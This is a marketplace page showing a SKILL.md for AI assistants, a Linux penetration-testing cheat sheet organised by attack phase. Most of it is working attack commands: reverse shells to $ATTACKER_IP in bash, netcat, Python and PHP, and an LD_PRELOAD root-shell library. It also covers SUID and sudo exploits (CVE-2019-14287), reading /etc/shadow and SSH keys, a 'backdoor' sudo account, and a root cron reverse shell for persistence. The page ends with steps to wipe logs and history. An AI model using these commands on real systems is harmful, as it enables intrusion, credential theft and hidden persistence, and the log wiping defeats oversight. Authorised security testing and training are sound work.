메뉴
Practical Linux command reference for penetration testing, reconnaissance, enumeration, exploitation, and privilege escalation
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/Aradotso/security-skills --skill linux-pentester-commands명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SOC 직업 분류 기준
SKILL.md 표시 중
| name | linux-pentester-commands |
| description | Practical Linux command reference for penetration testing, reconnaissance, enumeration, exploitation, and privilege escalation |
| triggers | ["how do I enumerate services on a Linux system","show me Linux commands for privilege escalation","what are the best reconnaissance commands for pentesting","help me with Linux exploitation techniques","how to perform local enumeration on Linux","give me pentesting cheatsheet commands","what Linux commands should I use during post-exploitation","show me how to escalate privileges on Linux"] |
Skill by ara.so — Security Skills collection.
This skill provides expertise in using the Linux for a Pentester command reference repository, a curated collection of practical Linux commands used in penetration testing workflows including reconnaissance, enumeration, exploitation, privilege escalation, and post-exploitation.
Linux for a Pentester is a practical command reference organized by penetration testing phases:
Clone the repository to have offline access during engagements:
git clone https://github.com/HIMANSHUSHARMA20/Linux-for-a-Pentester.git
cd Linux-for-a-Pentester
For quick reference during active testing:
# Add as a shell alias for fast access
echo 'alias pentref="cd ~/Linux-for-a-Pentester && ls"' >> ~/.bashrc
source ~/.bashrc
Linux-for-a-Pentester/
├── 00-General-Commands/ # Basic Linux survival commands
├── 01-Recon/ # Reconnaissance phase commands
├── 02-Enumeration/ # Service and system enumeration
├── 03-Exploitation/ # Exploitation techniques
├── 04-Privilege-Escalation/ # Privilege escalation methods
├── 05-Post-Exploitation/ # Post-exploitation activities
└── Cheatsheets/ # Quick reference sheets
System Information Gathering:
# Basic system information
uname -a # Kernel version and architecture
cat /etc/os-release # OS version details
hostname # Current hostname
uptime # System uptime
# User context
whoami # Current user
id # User/group IDs and memberships
groups # Group memberships
Network Reconnaissance:
# Network interfaces and connections
ip addr # Network interfaces
ip route # Routing table
ss -tulpn # Active network connections
netstat -antup # Alternative (older systems)
# DNS and hostname resolution
cat /etc/hosts
cat /etc/resolv.conf
User Enumeration:
# User and group information
cat /etc/passwd # All users
cat /etc/group # All groups
lastlog # Last login information
w # Currently logged-in users
# Home directories
ls -la /home/
find /home -type f -readable 2>/dev/null
Service Enumeration:
# Running services
systemctl list-units --type=service --state=running
ps aux # All running processes
ps -ef --forest # Process tree view
# Listening services
ss -tulpn | grep LISTEN
lsof -i -P -n # Open network connections
File System Enumeration:
# SUID/SGID files (privilege escalation vectors)
find / -perm -4000 -type f 2>/dev/null # SUID files
find / -perm -2000 -type f 2>/dev/null # SGID files
find / -perm -6000 -type f 2>/dev/null # Both
# Writable directories
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
# Configuration files
find /etc -type f -readable 2>/dev/null
grep -r "password" /etc/ 2>/dev/null
Reverse Shells:
# Bash reverse shell
bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1
# Netcat reverse shell
nc -e /bin/bash $ATTACKER_IP 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4444 >/tmp/f
# Python reverse shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# PHP reverse shell
php -r '$sock=fsockopen("$ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Shell Upgrade:
# Upgrade to interactive TTY
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Full interactive shell
# In reverse shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Press Ctrl+Z to background
# On attacker machine:
stty raw -echo; fg
# Press Enter twice
export TERM=xterm
SUID Exploitation:
# Find SUID binaries
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null
# Common SUID exploits
# GTFOBins patterns for specific binaries
/usr/bin/find . -exec /bin/sh \; -quit
/usr/bin/vim -c ':!/bin/sh'
/usr/bin/nmap --interactive
Sudo Exploitation:
# Check sudo privileges
sudo -l
# Common sudo bypasses
sudo -u#-1 /bin/bash # CVE-2019-14287 (sudo < 1.8.28)
# LD_PRELOAD exploitation (if env_keep+=LD_PRELOAD)
# Create malicious library
cat > /tmp/shell.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
EOF
gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so <allowed_program>
Cron Job Exploitation:
# Enumerate cron jobs
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
crontab -l -u root 2>/dev/null
# Check for writable cron scripts
find /etc/cron* -type f -writable 2>/dev/null
Kernel Exploits:
# Check kernel version
uname -a
cat /proc/version
# Search for kernel exploits (use searchsploit or online databases)
# Common kernel exploits:
# - DirtyCow (CVE-2016-5195)
# - DirtyPipe (CVE-2022-0847)
Credential Harvesting:
# SSH keys
find / -name id_rsa 2>/dev/null
find / -name authorized_keys 2>/dev/null
# Password files and history
cat /etc/shadow 2>/dev/null
cat ~/.bash_history
find / -name .bash_history 2>/dev/null
# Configuration files with credentials
grep -r "password" /var/www/ 2>/dev/null
grep -r "pass" /opt/ 2>/dev/null
find / -name "*.conf" -exec grep -i "password" {} \; 2>/dev/null
Persistence:
# Add SSH key
mkdir -p ~/.ssh
echo "$PUBLIC_KEY" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
# Add user account
useradd -m -s /bin/bash backdoor
echo "backdoor:password" | chpasswd
usermod -aG sudo backdoor
# Cron persistence
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root
# Port scanning (if nmap unavailable, use native tools)
for port in {1..1000}; do timeout 1 bash -c "echo >/dev/tcp/localhost/$port" 2>/dev/null && echo "Port $port open"; done
# ARP scanning
ip neigh
arp -a
# Python HTTP server (attacker machine)
python3 -m http.server 8000
# Download files (target machine)
wget http://$ATTACKER_IP:8000/file
curl -O http://$ATTACKER_IP:8000/file
# If no wget/curl
exec 3<>/dev/tcp/$ATTACKER_IP/8000
echo -e "GET /file HTTP/1.0\r\n\r\n" >&3
cat <&3 > file
# Base64 transfer (small files)
# On attacker: base64 file | xclip -selection clipboard
# On target: echo "BASE64_STRING" | base64 -d > file
# Clear bash history
history -c
rm ~/.bash_history
unset HISTFILE
# Clear system logs (requires root)
echo "" > /var/log/auth.log
echo "" > /var/log/syslog
find /var/log -type f -exec truncate -s 0 {} \;
When working with this reference, consider setting these environment variables in your testing environment:
# Set in ~/.bashrc or testing session
export ATTACKER_IP="10.10.14.x" # Your attack machine IP
export TARGET_IP="10.10.10.x" # Target machine IP
export LPORT=4444 # Default listening port
Some commands may not be available on minimal systems:
# netstat unavailable → use ss
ss -tulpn
# ifconfig unavailable → use ip
ip addr
# wget unavailable → use curl
curl -O http://example.com/file
# nc without -e flag → use named pipe method
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4444 >/tmp/f
# Redirect stderr to avoid noise
find / -name "interesting" 2>/dev/null
# Use accessible directories
cd /tmp || cd /dev/shm
# Spawn TTY
python -c 'import pty; pty.spawn("/bin/bash")'
script /dev/null -c bash
/bin/bash -i
2>/dev/null# Typical engagement flow:
# 1. Gain initial access
# 2. Stabilize shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 3. Quick wins check
sudo -l
find / -perm -4000 2>/dev/null
cat /etc/crontab
# 4. Deep enumeration
# Run automated scripts or manual enumeration
# 5. Exploit findings
# Based on discovered vectors
# 6. Post-exploitation
# Gather credentials, maintain access
# 7. Cleanup
history -c && rm ~/.bash_history
This skill provides the command reference needed for practical Linux penetration testing. Refer to the repository's individual directories for more detailed notes on each phase.